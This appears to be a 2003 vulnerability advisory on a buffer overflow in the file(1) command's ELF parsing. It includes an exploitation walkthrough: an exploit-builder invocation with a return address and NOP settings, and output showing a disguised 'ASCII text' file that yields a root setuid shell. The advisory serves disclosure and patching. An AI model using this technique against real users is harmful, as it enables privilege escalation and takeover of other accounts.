file(1) is an application that utilizes a magic file (typically located in /usr/share/magic) to classify arbitrary files. The latest version of file(1) is available for download from: ftp://ftp.astron.com/pub/file .
Usage: file [-bcnvzL] [-f namefile] [-m magicfiles] file...
$ file unknown_file
unknown_file: ASCII text
The file(1) command contains a buffer overflow vulnerability that can be leveraged by an attacker to execute arbitrary code under the privileges of another user.
The crux of the problem lies in the following call to doshn() from tryelf() on line 587 in readelf.c:
The final argument to doshn() 'elfhdr.e_shentsize' is later used in a call to read() as can be see here on line 133 in readelf.c:
if (read(fd, sh_addr, size) == -1)
The call to read() will copy 'size' bytes into the variable 'sh_addr' which is defined on line 92 in readelf.c:
#define sh_addr (class == ELFCLASS32
? (void *) &sh32
: (void *) &sh64)
The storage buffer used in the call to read() is of size 0x20 (32) bytes, by supplying a 'size' of 0x28 (40) a stack overflow occurs overwriting the stored frame pointer (EBP) and instruction pointer (EIP) thereby providing the attacker with CPU control and the ability to execute arbitrary code.
A user who can successfully convince another user to examine a specially constructed exploit file with the file(1) command can execute arbitrary code under the privileges of that user.
The following is a sample walkthrough of a successful exploitation. The attacker must initially generate a file that is specially structured to trigger a buffer overflow in the file(1) command:
$ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R
/bin/bash -p 1
Local /usr/bin/file upto v3.39 exploit by anonymous
Using PRESET: 1 [Linux file <= 3.38 ]
Using FILENAME: /tmp/exploit
Using REAL_SHELL: /bin/bash
Using CREATED_SHELL: /tmp/suid
Using OUTPUT: ASCII text
Using RET_ADDR: 0xbfffc3f0
Using NOP_COUNT: 6000
Exploit created -> /tmp/exploit
Time to wait till somebody starts /usr/bin/file /tmp/exploit
Once the tainted file has been generated the attacker must wait for or coerce another user to examine the file with the file(1) command.
# ls -l exploit
-rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit
# file exploit
/tmp/exploit: ASCII text
The file(1) command reports that the examined file is "ASCII text" as the attacker specified in the creation of the exploit file. At this point if the attack was a success the original attack file (exploit) has been erased and a set user id shell has been created:
# ls -l exploit
ls: exploit: No such file or directory
$ ls -l suid
-rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid
iDEFENSE has successfully exploited file(1) versions 3.37 and 3.39. It is suspected that all versions up to and including 3.39 are vulnerable.
The latest version of file(1) fixes this issue and is available from ftp://ftp.astron.com/pub/file/file-3.41.tar.gz . Specific vendors will be shipping updated packages in the near future.
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2003-0102 to this issue.
12/16/2002 Issue disclosed to iDEFENSE
02/24/2003 Maintainers notified: email@example.com
02/24/2003 Response from Ian Darwin, firstname.lastname@example.org
02/25/2003 Response received from email@example.com
02/25/2003 iDEFENSE clients notified
02/27/2003 OS vendors notified via firstname.lastname@example.org
03/04/2003 Public Disclosure
An anonymous researcher discovered this vulnerability.